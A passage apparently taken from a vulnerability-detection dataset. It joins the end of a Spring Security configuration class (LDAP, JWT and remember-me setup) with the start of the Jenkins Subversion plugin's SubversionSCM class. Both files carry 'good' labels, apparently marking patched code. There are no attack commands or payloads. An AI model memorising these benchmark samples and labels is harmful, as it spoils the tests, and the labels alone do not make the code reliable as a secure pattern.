import org.springframework.security.config.annotation.web.configuration.WebSecurityConfigurerAdapter;
import org.springframework.security.config.http.SessionCreationPolicy;
import org.springframework.security.web.authentication.UsernamePasswordAuthenticationFilter;
import org.springframework.security.web.context.request.async.WebAsyncManagerIntegrationFilter;
import org.springframework.security.web.util.matcher.AntPathRequestMatcher;
import java.security.SecureRandom;
@Configuration
@Order(SecurityProperties.ACCESS_OVERRIDE_ORDER)
@EnableGlobalMethodSecurity(securedEnabled = true, prePostEnabled = true)
public class GlobalSecurityConfig extends GlobalAuthenticationConfigurerAdapter {
private static Logger logger = LoggerFactory.getLogger(GlobalSecurityConfig.class);
static final String FAILURE_URL = "/login?error=1";
private static final String key;
static {
byte[] array = new byte[32];
new SecureRandom().nextBytes(array);
key = new String(array);
}
@Autowired
private SecurityService securityService;
@Autowired
private CsrfSecurityRequestMatcher csrfSecurityRequestMatcher;
@Autowired
SettingsService settingsService;
@Autowired
CustomUserDetailsContextMapper customUserDetailsContextMapper;
@Autowired
ApplicationEventPublisher eventPublisher;
@Autowired
public void configureGlobal(AuthenticationManagerBuilder auth) throws Exception {
if (settingsService.isLdapEnabled()) {
auth.ldapAuthentication()
.contextSource()
.managerDn(settingsService.getLdapManagerDn())
.managerPassword(settingsService.getLdapManagerPassword())
.url(settingsService.getLdapUrl())
.and()
.userSearchFilter(settingsService.getLdapSearchFilter())
.userDetailsContextMapper(customUserDetailsContextMapper);
}
auth.userDetailsService(securityService);
String jwtKey = settingsService.getJWTKey();
if(StringUtils.isBlank(jwtKey)) {
logger.warn("Generating new jwt key");
jwtKey = JWTSecurityService.generateKey();
settingsService.setJWTKey(jwtKey);
settingsService.save();
}
auth.authenticationProvider(new JWTAuthenticationProvider(jwtKey));
}
@Configuration
@Order(1)
public class ExtSecurityConfiguration extends WebSecurityConfigurerAdapter {
public ExtSecurityConfiguration() {
super(true);
}
@Bean(name = "jwtAuthenticationFilter")
public JWTRequestParameterProcessingFilter jwtAuthFilter() throws Exception {
return new JWTRequestParameterProcessingFilter(authenticationManager(), FAILURE_URL);
}
@Override
protected void configure(HttpSecurity http) throws Exception {
http = http.addFilter(new WebAsyncManagerIntegrationFilter());
http = http.addFilterBefore(jwtAuthFilter(), UsernamePasswordAuthenticationFilter.class);
http
.antMatcher("/ext/**")
.csrf().requireCsrfProtectionMatcher(csrfSecurityRequestMatcher).and()
.headers().frameOptions().sameOrigin().and()
.authorizeRequests()
.antMatchers("/ext/stream/**", "/ext/coverArt*", "/ext/share/**", "/ext/hls/**")
.hasAnyRole("TEMP", "USER").and()
.sessionManagement().sessionCreationPolicy(SessionCreationPolicy.STATELESS).and()
.exceptionHandling().and()
.securityContext().and()
.requestCache().and()
.anonymous().and()
.servletApi();
}
}
@Configuration
@Order(2)
public class WebSecurityConfiguration extends WebSecurityConfigurerAdapter {
@Override
protected void configure(HttpSecurity http) throws Exception {
RESTRequestParameterProcessingFilter restAuthenticationFilter = new RESTRequestParameterProcessingFilter();
restAuthenticationFilter.setAuthenticationManager(authenticationManagerBean());
restAuthenticationFilter.setSecurityService(securityService);
restAuthenticationFilter.setEventPublisher(eventPublisher);
http = http.addFilterBefore(restAuthenticationFilter, UsernamePasswordAuthenticationFilter.class);
http
.csrf()
.requireCsrfProtectionMatcher(csrfSecurityRequestMatcher)
.and().headers()
.frameOptions()
.sameOrigin()
.and().authorizeRequests()
.antMatchers("/recover*", "/accessDenied*",
"/style/**", "/icons/**", "/flash/**", "/script/**",
"/sonos/**", "/crossdomain.xml", "/login", "/error")
.permitAll()
.antMatchers("/personalSettings*", "/passwordSettings*",
"/playerSettings*", "/shareSettings*", "/passwordSettings*")
.hasRole("SETTINGS")
.antMatchers("/generalSettings*", "/advancedSettings*", "/userSettings*",
"/musicFolderSettings*", "/databaseSettings*", "/transcodeSettings*", "/rest/startScan*")
.hasRole("ADMIN")
.antMatchers("/deletePlaylist*", "/savePlaylist*", "/db*")
.hasRole("PLAYLIST")
.antMatchers("/download*")
.hasRole("DOWNLOAD")
.antMatchers("/upload*")
.hasRole("UPLOAD")
.antMatchers("/createShare*")
.hasRole("SHARE")
.antMatchers("/changeCoverArt*", "/editTags*")
.hasRole("COVERART")
.antMatchers("/setMusicFileInfo*")
.hasRole("COMMENT")
.antMatchers("/podcastReceiverAdmin*")
.hasRole("PODCAST")
.antMatchers("/**")
.hasRole("USER")
.anyRequest().authenticated()
.and().formLogin()
.loginPage("/login")
.permitAll()
.defaultSuccessUrl("/index", true)
.failureUrl(FAILURE_URL)
.usernameParameter("j_username")
.passwordParameter("j_password")
// see http://docs.spring.io/spring-security/site/docs/3.2.4.RELEASE/reference/htmlsingle/#csrf-logout
.and().logout().logoutRequestMatcher(new AntPathRequestMatcher("/logout", "GET")).logoutSuccessUrl(
"/login?logout")
.and().rememberMe().key(key);
}
}
}
|
./CrossVul/dataset_final_sorted/CWE-255/java/good_788_0
|
crossvul-java_data_good_5796_0
|
/*
* The MIT License
*
* Copyright (c) 2004-2012, Sun Microsystems, Inc., Kohsuke Kawaguchi, Fulvio Cavarretta,
* Jean-Baptiste Quenot, Luca Domenico Milanesio, Renaud Bruyeron, Stephen Connolly,
* Tom Huybrechts, Yahoo! Inc., Manufacture Francaise des Pneumatiques Michelin,
* Romain Seguy, OHTAKE Tomohiro
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
*/
package hudson.scm;
import static hudson.Util.fixEmptyAndTrim;
import static hudson.scm.PollingResult.BUILD_NOW;
import static hudson.scm.PollingResult.NO_CHANGES;
import static java.util.logging.Level.FINE;
import static java.util.logging.Level.WARNING;
import hudson.EnvVars;
import hudson.Extension;
import hudson.FilePath;
import hudson.FilePath.FileCallable;
import hudson.Functions;
import hudson.Launcher;
import hudson.Util;
import hudson.XmlFile;
import hudson.model.BuildListener;
import hudson.model.Item;
import hudson.model.TaskListener;
import hudson.model.AbstractBuild;
import hudson.model.AbstractProject;
import hudson.model.Computer;
import hudson.model.Hudson;
import java.util.Arrays;
import java.util.WeakHashMap;
import jenkins.model.Jenkins.MasterComputer;
import hudson.model.Node;
import hudson.model.ParametersAction;
import hudson.model.Run;
import hudson.remoting.Callable;
import hudson.remoting.Channel;
import hudson.remoting.VirtualChannel;
import hudson.scm.UserProvidedCredential.AuthenticationManagerImpl;
import hudson.scm.subversion.CheckoutUpdater;
import hudson.scm.subversion.Messages;
import hudson.scm.subversion.SvnHelper;
import hudson.scm.subversion.UpdateUpdater;
import hudson.scm.subversion.UpdateWithRevertUpdater;
import hudson.scm.subversion.UpdaterException;
import hudson.scm.subversion.WorkspaceUpdater;
import hudson.scm.subversion.WorkspaceUpdater.UpdateTask;
import hudson.scm.subversion.WorkspaceUpdaterDescriptor;
import hudson.util.EditDistance;
import hudson.util.FormValidation;
import hudson.util.LogTaskListener;
import hudson.util.MultipartFormDataParser;
import hudson.util.Scrambler;
import hudson.util.Secret;
import hudson.util.TimeUnit2;
import hudson.util.XStream2;
import java.io.BufferedOutputStream;
import java.io.BufferedReader;
import java.io.File;
import java.io.FileOutputStream;
import java.io.FileReader;
import java.io.IOException;
import java.io.InterruptedIOException;
import java.io.OutputStream;
import java.io.PrintStream;
import java.io.PrintWriter;
import java.io.Serializable;
import java.io.StringWriter;
import java.lang.reflect.InvocationTargetException;
import java.util.ArrayList;
import java.util.Collections;
import java.util.Date;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Hashtable;
import java.util.Iterator;
import java.util.List;
import java.util.Map;
import java.util.Map.Entry;
import java.util.Random;
import java.util.Set;
import java.util.StringTokenizer;
import java.util.UUID;
import java.util.logging.Level;
import java.util.logging.Logger;
import java.util.regex.Pattern;
import java.util.regex.PatternSyntaxException;
import javax.servlet.ServletException;
import javax.xml.transform.stream.StreamResult;
import net.sf.json.JSONObject;
import org.apache.commons.beanutils.PropertyUtils;
import org.apache.commons.io.FileUtils;
import org.apache.commons.lang.StringUtils;
import org.apache.tools.ant.BuildException;
import org.apache.tools.ant.Project;
import org.apache.tools.ant.taskdefs.Chmod;
import org.kohsuke.stapler.AncestorInPath;
import org.kohsuke.stapler.DataBoundConstructor;
import org.kohsuke.stapler.QueryParameter;
import org.kohsuke.stapler.StaplerRequest;
import org.kohsuke.stapler.StaplerResponse;
import org.kohsuke.stapler.export.Exported;
import org.kohsuke.stapler.export.ExportedBean;
import org.tmatesoft.svn.core.ISVNLogEntryHandler;
import org.tmatesoft.svn.core.SVNAuthenticationException;
import org.tmatesoft.svn.core.SVNDepth;
import org.tmatesoft.svn.core.SVNDirEntry;
import org.tmatesoft.svn.core.SVNErrorCode;
import org.tmatesoft.svn.core.SVNErrorMessage;
import org.tmatesoft.svn.core.SVNException;
import org.tmatesoft.svn.core.SVNLogEntry;
import org.tmatesoft.svn.core.SVNNodeKind;
import org.tmatesoft.svn.core.SVNURL;
import org.tmatesoft.svn.core.auth.ISVNAuthenticationManager;
import org.tmatesoft.svn.core.auth.ISVNAuthenticationOutcomeListener;
import org.tmatesoft.svn.core.auth.ISVNAuthenticationProvider;
import org.tmatesoft.svn.core.auth.SVNAuthentication;
import org.tmatesoft.svn.core.auth.SVNPasswordAuthentication;
import org.tmatesoft.svn.core.auth.SVNSSHAuthentication;
import org.tmatesoft.svn.core.auth.SVNSSLAuthentication;
import org.tmatesoft.svn.core.auth.SVNUserNameAuthentication;
import org.tmatesoft.svn.core.internal.io.dav.DAVRepositoryFactory;
import org.tmatesoft.svn.core.internal.io.dav.http.DefaultHTTPConnectionFactory;
import org.tmatesoft.svn.core.internal.io.fs.FSRepositoryFactory;
import org.tmatesoft.svn.core.internal.io.svn.SVNRepositoryFactoryImpl;
import org.tmatesoft.svn.core.internal.util.SVNPathUtil;
import org.tmatesoft.svn.core.internal.wc.DefaultSVNOptions;
import org.tmatesoft.svn.core.internal.wc.admin.SVNAdminAreaFactory;
import org.tmatesoft.svn.core.io.SVNCapability;
import org.tmatesoft.svn.core.io.SVNRepository;
import org.tmatesoft.svn.core.io.SVNRepositoryFactory;
import org.tmatesoft.svn.core.wc.SVNClientManager;
import org.tmatesoft.svn.core.wc.SVNInfo;
import org.tmatesoft.svn.core.wc.SVNRevision;
import org.tmatesoft.svn.core.wc.SVNWCClient;
import org.tmatesoft.svn.core.wc.SVNWCUtil;
import com.thoughtworks.xstream.XStream;
import com.trilead.ssh2.DebugLogger;
import com.trilead.ssh2.SCPClient;
import com.trilead.ssh2.crypto.Base64;
/**
* Subversion SCM.
*
* <h2>Plugin Developer Notes</h2>
* <p>
* Plugins that interact with Subversion can use {@link DescriptorImpl#createAuthenticationProvider(AbstractProject)}
* so that it can use the credentials (username, password, etc.) that the user entered for Hudson.
* See the javadoc of this method for the precautions you need to take if you run Subversion operations
* remotely on slaves.
*
* <h2>Implementation Notes</h2>
* <p>
* Because this instance refers to some other classes that are not necessarily
* Java serializable (like {@link #browser}), remotable {@link FileCallable}s all
* need to be declared as static inner classes.
*
* @author Kohsuke Kawaguchi
*/
@SuppressWarnings("rawtypes")
public class SubversionSCM extends SCM implements Serializable {
/**
* the locations field is used to store all configured SVN locations (with
* their local and remote part). Direct access to this field should be
* avoided and the getLocations() method should be used instead. This is
* needed to make importing of old hudson-configurations possible as
* getLocations() will check if the modules field has been set and import
* the data.
*
* @since 1.91
*/
private ModuleLocation[] locations = new ModuleLocation[0];
private final SubversionRepositoryBrowser browser;
private String excludedRegions;
private String includedRegions;
private String excludedUsers;
/**
* Revision property names that are ignored for the sake of polling. Whitespace separated, possibly null.
*/
private String excludedRevprop;
private String excludedCommitMessages;
private WorkspaceUpdater workspaceUpdater;
// No longer in use but left for serialization compatibility.
@Deprecated
private String modules;
// No longer used but left for serialization compatibility
@Deprecated
private Boolean useUpdate;
@Deprecated
private Boolean doRevert;
private boolean ignoreDirPropChanges;
private boolean filterChangelog;
/**
* A cache of the svn:externals (keyed by project).
*/
private transient Map<AbstractProject, List<External>> projectExternalsCache;
private transient boolean pollFromMaster = POLL_FROM_MASTER;
/**
* @deprecated as of 1.286
*/
public SubversionSCM(String[] remoteLocations, String[] localLocations,
boolean useUpdate, SubversionRepositoryBrowser browser) {
this(remoteLocations,localLocations, useUpdate, browser, null, null, null);
}
/**
* @deprecated as of 1.311
*/
public SubversionSCM(String[] remoteLocations, String[] localLocations,
boolean useUpdate, SubversionRepositoryBrowser browser, String excludedRegions) {
this(ModuleLocation.parse(remoteLocations,localLocations,null,null), useUpdate, false, browser, excludedRegions, null, null, null);
}
/**
* @deprecated as of 1.315
*/
public SubversionSCM(String[] remoteLocations, String[] localLocations,
boolean useUpdate, SubversionRepositoryBrowser browser, String excludedRegions, String excludedUsers, String excludedRevprop) {
this(ModuleLocation.parse(remoteLocations,localLocations,null,null), useUpdate, false, browser, excludedRegions, excludedUsers, excludedRevprop, null);
}
/**
* @deprecated as of 1.315
*/
public SubversionSCM(List<ModuleLocation> locations,
boolean useUpdate, SubversionRepositoryBrowser browser, String excludedRegions) {
this(locations, useUpdate, false, browser, excludedRegions, null, null, null);
}
/**
* @deprecated as of 1.324
*/
public SubversionSCM(List<ModuleLocation> locations,
boolean useUpdate, SubversionRepositoryBrowser browser, String excludedRegions, String excludedUsers, String excludedRevprop) {
this(locations, useUpdate, false, browser, excludedRegions, excludedUsers, excludedRevprop, null);
}
/**
* @deprecated as of 1.328
*/
public SubversionSCM(List<ModuleLocation> locations,
boolean useUpdate, SubversionRepositoryBrowser browser, String excludedRegions, String excludedUsers, String excludedRevprop, String excludedCommitMessages) {
this(locations, useUpdate, false, browser, excludedRegions, excludedUsers, excludedRevprop, excludedCommitMessages);
}
/**
* @deprecated as of 1.xxx
*/
public SubversionSCM(List<ModuleLocation> locations,
boolean useUpdate, boolean doRevert, SubversionRepositoryBrowser browser, String excludedRegions, String excludedUsers, String excludedRevprop, String excludedCommitMessages) {
this(locations, useUpdate, doRevert, browser, excludedRegions, excludedUsers, excludedRevprop, excludedCommitMessages, null);
}
/**
* @deprecated as of 1.23
*/
public SubversionSCM(List<ModuleLocation> locations,
boolean useUpdate, boolean doRevert, SubversionRepositoryBrowser browser, String excludedRegions, String excludedUsers, String excludedRevprop, String excludedCommitMessages,
String includedRegions) {
this(locations, useUpdate?(doRevert?new UpdateWithRevertUpdater():new UpdateUpdater()):new CheckoutUpdater(),
browser, excludedRegions, excludedUsers, excludedRevprop, excludedCommitMessages, includedRegions);
}
/**
*
* @deprecated as of ...
*/
public SubversionSCM(List<ModuleLocation> locations, WorkspaceUpdater workspaceUpdater,
SubversionRepositoryBrowser browser, String excludedRegions, String excludedUsers, String excludedRevprop, String excludedCommitMessages,
String includedRegions) {
this(locations, workspaceUpdater, browser, excludedRegions, excludedUsers, excludedRevprop, excludedCommitMessages, includedRegions, false);
}
/**
* @deprecated
*/
public SubversionSCM(List<ModuleLocation> locations, WorkspaceUpdater workspaceUpdater,
SubversionRepositoryBrowser browser, String excludedRegions, String excludedUsers, String excludedRevprop, String excludedCommitMessages,
String includedRegions, boolean ignoreDirPropChanges) {
this(locations, workspaceUpdater, browser, excludedRegions, excludedUsers, excludedRevprop, excludedCommitMessages, includedRegions, ignoreDirPropChanges, false);
}
@DataBoundConstructor
public SubversionSCM(List<ModuleLocation> locations, WorkspaceUpdater workspaceUpdater,
SubversionRepositoryBrowser browser, String excludedRegions, String excludedUsers, String excludedRevprop, String excludedCommitMessages,
String includedRegions, boolean ignoreDirPropChanges, boolean filterChangelog) {
for (Iterator<ModuleLocation> itr = locations.iterator(); itr.hasNext();) {
ModuleLocation ml = itr.next();
String remote = Util.fixEmptyAndTrim(ml.remote);
if(remote==null) itr.remove();
}
this.locations = locations.toArray(new ModuleLocation[locations.size()]);
this.workspaceUpdater = workspaceUpdater;
this.browser = browser;
this.excludedRegions = excludedRegions;
this.excludedUsers = excludedUsers;
this.excludedRevprop = excludedRevprop;
this.excludedCommitMessages = excludedCommitMessages;
this.includedRegions = includedRegions;
this.ignoreDirPropChanges = ignoreDirPropChanges;
this.filterChangelog = filterChangelog;
}
/**
* Convenience constructor, especially during testing.
*/
public SubversionSCM(String svnUrl) {
this(svnUrl,".");
}
/**
* Convenience constructor, especially during testing.
*/
public SubversionSCM(String svnUrl, String local) {
this(new String[]{svnUrl},new String[]{local},true,null,null,null,null);
}
/**
* Convenience constructor, especially during testing.
*/
public SubversionSCM(String[] svnUrls, String[] locals) {
this(svnUrls,locals,true,null,null,null,null);
}
/**
* @deprecated
* as of 1.91. Use {@link #getLocations()} instead.
*/
public String getModules() {
return null;
}
/**
* list of all configured svn locations
*
* @since 1.91
*/
@Exported
public ModuleLocation[] getLocations() {
return getLocations(null, null);
}
@Exported
public WorkspaceUpdater getWorkspaceUpdater() {
if (workspaceUpdater!=null)
return workspaceUpdater;
// data must have been read from old configuration.
if (useUpdate!=null && !useUpdate)
return new CheckoutUpdater();
if (doRevert!=null && doRevert)
return new UpdateWithRevertUpdater();
return new UpdateUpdater();
}
public void setWorkspaceUpdater(WorkspaceUpdater workspaceUpdater) {
this.workspaceUpdater = workspaceUpdater;
}
/**
* @since 1.252
* @deprecated Use {@link #getLocations(EnvVars, AbstractBuild)} for vars
* expansion to be performed on all env vars rather than just
* build parameters.
*/
public ModuleLocation[] getLocations(AbstractBuild<?,?> build) {
return getLocations(null, build);
}
/**
* List of all configured svn locations, expanded according to all env vars
* or, if none defined, according to only build parameters values.
* Both may be defined, in which case the variables are combined.
* @param env If non-null, variable expansions are performed against these vars
* @param build If non-null, variable expansions are
* performed against the build parameters
*/
public ModuleLocation[] getLocations(EnvVars env, AbstractBuild<?,?> build) {
// check if we've got a old location
if (modules != null) {
// import the old configuration
List<ModuleLocation> oldLocations = new ArrayList<ModuleLocation>();
StringTokenizer tokens = new StringTokenizer(modules);
while (tokens.hasMoreTokens()) {
// the remote (repository location)
// the normalized name is always without the trailing '/'
String remoteLoc = Util.removeTrailingSlash(tokens.nextToken());
oldLocations.add(new ModuleLocation(remoteLoc, null));
}
locations = oldLocations.toArray(new ModuleLocation[oldLocations.size()]);
modules = null;
}
if(env == null && build == null)
return locations;
ModuleLocation[] outLocations = new ModuleLocation[locations.length];
EnvVars env2 = env != null ? new EnvVars(env) : new EnvVars();
if (build != null) {
env2.putAll(build.getBuildVariables());
}
EnvVars.resolve(env2);
for (int i = 0; i < outLocations.length; i++) {
outLocations[i] = locations[i].getExpandedLocation(env2);
}
return outLocations;
}
/**
* Get the list of every checked-out location. This differs from {@link #getLocations()}
* which returns only the configured locations whereas this method returns the configured
* locations + any svn:externals locations.
*/
public ModuleLocation[] getProjectLocations(AbstractProject project) throws IOException {
List<External> projectExternals = getExternals(project);
ModuleLocation[] configuredLocations = getLocations();
if (projectExternals.isEmpty()) {
return configuredLocations;
}
List<ModuleLocation> allLocations = new ArrayList<ModuleLocation>(configuredLocations.length + projectExternals.size());
allLocations.addAll(Arrays.asList(configuredLocations));
for (External external : projectExternals) {
allLocations.add(new ModuleLocation(external.url, external.path));
}
return allLocations.toArray(new ModuleLocation[allLocations.size()]);
}
private List<External> getExternals(AbstractProject context) throws IOException {
Map<AbstractProject, List<External>> projectExternalsCache = getProjectExternalsCache();
List<External> projectExternals;
synchronized (projectExternalsCache) {
projectExternals = projectExternalsCache.get(context);
}
if (projectExternals == null) {
projectExternals = parseExternalsFile(context);
synchronized (projectExternalsCache) {
if (!projectExternalsCache.containsKey(context)) {
projectExternalsCache.put(context, projectExternals);
}
}
}
return projectExternals;
}
@Override
@Exported
public SubversionRepositoryBrowser getBrowser() {
return browser;
}
@Exported
public String getExcludedRegions() {
return excludedRegions;
}
public String[] getExcludedRegionsNormalized() {
return (excludedRegions == null || excludedRegions.trim().equals(""))
? null : excludedRegions.split("[\\r\\n]+");
}
private Pattern[] getExcludedRegionsPatterns() {
String[] excluded = getExcludedRegionsNormalized();
if (excluded != null) {
Pattern[] patterns = new Pattern[excluded.length];
int i = 0;
for (String excludedRegion : excluded) {
patterns[i++] = Pattern.compile(excludedRegion);
}
return patterns;
}
return new Pattern[0];
}
@Exported
public String getIncludedRegions() {
return includedRegions;
}
public String[] getIncludedRegionsNormalized() {
return (includedRegions == null || includedRegions.trim().equals(""))
? null : includedRegions.split("[\\r\\n]+");
}
private Pattern[] getIncludedRegionsPatterns() {
String[] included = getIncludedRegionsNormalized();
if (included != null) {
Pattern[] patterns = new Pattern[included.length];
int i = 0;
for (String includedRegion : included) {
patterns[i++] = Pattern.compile(includedRegion);
}
return patterns;
}
return new Pattern[0];
}
@Exported
public String getExcludedUsers() {
return excludedUsers;
}
public Set<String> getExcludedUsersNormalized() {
String s = fixEmptyAndTrim(excludedUsers);
if (s==null)
return Collections.emptySet();
Set<String> users = new HashSet<String>();
for (String user : s.split("[\\r\\n]+"))
users.add(user.trim());
return users;
}
@Exported
public String getExcludedRevprop() {
return excludedRevprop;
}
@Exported
public String getExcludedCommitMessages() {
return excludedCommitMessages;
}
public String[] getExcludedCommitMessagesNormalized() {
String s = fixEmptyAndTrim(excludedCommitMessages);
return s == null ? new String[0] : s.split("[\\r\\n]+");
}
private Pattern[] getExcludedCommitMessagesPatterns() {
String[] excluded = getExcludedCommitMessagesNormalized();
Pattern[] patterns = new Pattern[excluded.length];
int i = 0;
for (String excludedCommitMessage : excluded) {
patterns[i++] = Pattern.compile(excludedCommitMessage);
}
return patterns;
}
@Exported
public boolean isIgnoreDirPropChanges() {
return ignoreDirPropChanges;
}
@Exported
public boolean isFilterChangelog() {
return filterChangelog;
}
/**
* Sets the <tt>SVN_REVISION_n</tt> and <tt>SVN_URL_n</tt> environment variables during the build.
*/
@Override
public void buildEnvVars(AbstractBuild<?, ?> build, Map<String, String> env) {
super.buildEnvVars(build, env);
ModuleLocation[] svnLocations = getLocations(new EnvVars(env), build);
try {
Map<String,Long> revisions = parseSvnRevisionFile(build);
Set<String> knownURLs = revisions.keySet();
if(svnLocations.length==1) {
// for backwards compatibility if there's only a single modulelocation, we also set
// SVN_REVISION and SVN_URL without '_n'
String url = svnLocations[0].getURL();
Long rev = revisions.get(url);
if(rev!=null) {
env.put("SVN_REVISION",rev.toString());
env.put("SVN_URL",url);
} else if (!knownURLs.isEmpty()) {
LOGGER.log(WARNING, "no revision found corresponding to {0}; known: {1}", new Object[] {url, knownURLs});
}
}
for(int i=0;i<svnLocations.length;i++) {
String url = svnLocations[i].getURL();
Long rev = revisions.get(url);
if(rev!=null) {
env.put("SVN_REVISION_"+(i+1),rev.toString());
env.put("SVN_URL_"+(i+1),url);
} else if (!knownURLs.isEmpty()) {
LOGGER.log(WARNING, "no revision found corresponding to {0}; known: {1}", new Object[] {url, knownURLs});
}
}
} catch (IOException e) {
LOGGER.log(WARNING, "error building environment variables", e);
}
}
/**
* Called after checkout/update has finished to compute the changelog.
*/
private boolean calcChangeLog(AbstractBuild<?,?> build, File changelogFile, BuildListener listener, List<External> externals, EnvVars env) throws IOException, InterruptedException {
if(build.getPreviousBuild()==null) {
// nothing to compare against
return createEmptyChangeLog(changelogFile, listener, "log");
}
// some users reported that the file gets created with size 0. I suspect
// maybe some XSLT engine doesn't close the stream properly.
// so let's do it by ourselves to be really sure that the stream gets closed.
OutputStream os = new BufferedOutputStream(new FileOutputStream(changelogFile));
boolean created;
try {
created = new SubversionChangeLogBuilder(build, env, listener, this).run(externals, new StreamResult(os));
} finally {
os.close();
}
if(!created)
createEmptyChangeLog(changelogFile, listener, "log");
return true;
}
/**
* Please consider using the non-static version {@link #parseSvnRevisionFile(AbstractBuild)}!
*/
/*package*/ static Map<String,Long> parseRevisionFile(AbstractBuild<?,?> build) throws IOException {
return parseRevisionFile(build,true,false);
}
/*package*/ Map<String,Long> parseSvnRevisionFile(AbstractBuild<?,?> build) throws IOException {
return parseRevisionFile(build);
}
/**
* Reads the revision file of the specified build (or the closest, if the flag is so specified.)
*
* @param findClosest
* If true, this method will go back the build history until it finds a revision file.
* A build may not have a revision file for any number of reasons (such as failure, interruption, etc.)
* @return
* map from {@link SvnInfo#url Subversion URL} to its revision. If there is more than one, choose
* the one with the smallest revision number
*/
/*package*/ static Map<String,Long> parseRevisionFile(AbstractBuild<?,?> build, boolean findClosest, boolean prunePinnedExternals) throws IOException {
Map<String,Long> revisions = new HashMap<String,Long>(); // module -> revision
if (findClosest) {
for (AbstractBuild<?,?> b=build; b!=null; b=b.getPreviousBuild()) {
if(getRevisionFile(b).exists()) {
build = b;
break;
}
}
}
{// read the revision file of the build
File file = getRevisionFile(build);
if(!file.exists())
// nothing to compare against
return revisions;
BufferedReader br = new BufferedReader(new FileReader(file));
try {
String line;
while((line=br.readLine())!=null) {
boolean isPinned = false;
int indexLast = line.length();
if (line.lastIndexOf("::p") == indexLast-3) {
isPinned = true;
indexLast -= 3;
}
int index = line.lastIndexOf('/');
if(index<0) {
continue; // invalid line?
}
try {
String url = line.substring(0, index);
long revision = Long.parseLong(line.substring(index+1,indexLast));
Long oldRevision = revisions.get(url);
if (isPinned) {
if (!prunePinnedExternals) {
if (oldRevision == null)
// If we're writing pinned, only write if there are no unpinned
revisions.put(url, revision);
}
} else {
// unpinned
if (oldRevision == null || oldRevision > revision)
// For unpinned, take minimum
revisions.put(url, revision);
}
} catch (NumberFormatException e) {
// perhaps a corrupted line.
LOGGER.log(WARNING, "Error parsing line " + line, e);
}
}
} finally {
br.close();
}
}
return revisions;
}
/**
* Parses the file that stores the locations in the workspace where modules loaded by svn:external
* is placed.
*
* <p>
* Note that the format of the file has changed in 1.180 from simple text file to XML.
*
* @return
* immutable list. Can be empty but never null.
*/
/*package*/ @SuppressWarnings("unchecked")
static List<External> parseExternalsFile(AbstractProject project) throws IOException {
File file = getExternalsFile(project);
if(file.exists()) {
try {
return (List<External>)new XmlFile(External.XSTREAM,file).read();
} catch (IOException e) {
// in < 1.180 this file was a text file, so it may fail to parse as XML,
// in which case let's just fall back
}
}
return Collections.emptyList();
}
/**
* Polling can happen on the master and does not require a workspace.
*/
@Override
public boolean requiresWorkspaceForPolling() {
return false;
}
@SuppressWarnings("unchecked")
public boolean checkout(AbstractBuild build, Launcher launcher, FilePath workspace, final BuildListener listener, File changelogFile) throws IOException, InterruptedException {
EnvVars env = build.getEnvironment(listener);
EnvVarsUtils.overrideAll(env, build.getBuildVariables());
List<External> externals = null;
try {
externals = checkout(build,workspace,listener,env);
} catch (UpdaterException e) {
return false;
}
// write out the revision file
PrintWriter w = new PrintWriter(new FileOutputStream(getRevisionFile(build)));
try {
List<SvnInfoP> pList = workspace.act(new BuildRevisionMapTask(build, this, listener, externals, env));
List<SvnInfo> revList= new ArrayList<SvnInfo>(pList.size());
for (SvnInfoP p: pList) {
if (p.pinned)
w.println( p.info.url +'/'+ p.info.revision + "::p");
else
w.println( p.info.url +'/'+ p.info.revision);
revList.add(p.info);
}
build.addAction(new SubversionTagAction(build,revList));
} finally {
w.close();
}
// write out the externals info
new XmlFile(External.XSTREAM,getExternalsFile(build.getProject())).write(externals);
Map<AbstractProject, List<External>> projectExternalsCache = getProjectExternalsCache();
synchronized (projectExternalsCache) {
projectExternalsCache.put(build.getProject(), externals);
}
return calcChangeLog(build, changelogFile, listener, externals, env);
}
/**
* Performs the checkout or update, depending on the configuration and workspace state.
*
* <p>
* Use canonical path to avoid SVNKit/symlink problem as described in
* https://wiki.svnkit.com/SVNKit_FAQ
*
* @return null
* if the operation failed. Otherwise the set of local workspace paths
* (relative to the workspace root) that has loaded due to svn:external.
*/
private List<External> checkout(AbstractBuild build, FilePath workspace, TaskListener listener, EnvVars env) throws IOException, InterruptedException {
if (repositoryLocationsNoLongerExist(build, listener, env)) {
Run lsb = build.getProject().getLastSuccessfulBuild();
if (lsb != null && build.getNumber()-lsb.getNumber()>10
&& build.getTimestamp().getTimeInMillis()-lsb.getTimestamp().getTimeInMillis() > TimeUnit2.DAYS.toMillis(1)) {
// Disable this project if the location doesn't exist any more, see issue #763
// but only do so if there was at least some successful build,
// to make sure that initial configuration error won't disable the build. see issue #1567
// finally, only disable a build if the failure persists for some time.
// see http://www.nabble.com/Should-Hudson-have-an-option-for-a-content-fingerprint--td24022683.html
listener.getLogger().println("One or more repository locations do not exist anymore for " + build.getProject().getName() + ", project will be disabled.");
build.getProject().makeDisabled(true);
return null;
}
}
List<External> externals = new ArrayList<External>();
for (ModuleLocation location : getLocations(env, build)) {
externals.addAll( workspace.act(new CheckOutTask(build, this, location, build.getTimestamp().getTime(), listener, env)));
// olamy: remove null check at it cause test failure
// see https://github.com/jenkinsci/subversion-plugin/commit/de23a2b781b7b86f41319977ce4c11faee75179b#commitcomment-1551273
/*if ( externalsFound != null ){
externals.addAll(externalsFound);
} else {
externals.addAll( new ArrayList<External>( 0 ) );
}*/
}
return externals;
}
private synchronized Map<AbstractProject, List<External>> getProjectExternalsCache() {
if (projectExternalsCache == null) {
projectExternalsCache = new WeakHashMap<AbstractProject, List<External>>();
}
return projectExternalsCache;
}
/**
